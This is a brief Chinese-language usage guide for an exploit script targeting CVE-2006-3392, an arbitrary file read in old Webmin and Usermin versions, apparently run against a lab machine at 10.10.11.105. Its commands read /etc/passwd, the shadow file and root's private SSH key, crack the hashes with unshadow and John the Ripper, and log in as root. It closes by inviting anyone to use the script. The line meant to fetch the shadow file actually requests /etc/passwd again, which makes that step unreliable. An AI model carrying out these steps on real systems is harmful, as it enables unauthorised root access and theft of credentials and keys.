https://www.cvedetails.com/cve/CVE-2006-3392/
Webmin 1.290 之前版本和 Usermin 1.220 之前版本在解码 HTML 之前调用了 simplify_path 函数，导致远程攻击者能够读取任意文件，例如使用 "..%01" 序列，该序列能绕过在 "%01" 等字节被从文件名中移除之前对 "../" 序列的删除。注意：此问题与 CVE-2006-3274 不同。
以 root 权限浏览文件系统中的任意文件
./exploit.sh <目标 IP> <目标端口> <要泄露的文件>
浏览 10.10.11.105 上的 passwd 和 shadow 文件，反合并并破解哈希
./exploit.sh 10.10.11.105 10000 /etc/passwd > passwd
./exploit.sh 10.10.11.105 10000 /etc/passwd > shadow
unshadow passwd shadow > unshadowed
john --wordlist=<你喜欢的字典路径> unshadowed
浏览 10.10.11.105 上的私有 rsa 密钥
./exploit.sh 10.10.11.105 10000 /root/.ssh/id_rsa > private_key
chmod 600 ./private_key
ssh -i private_key [email protected]
欢迎随时随地自由使用或修改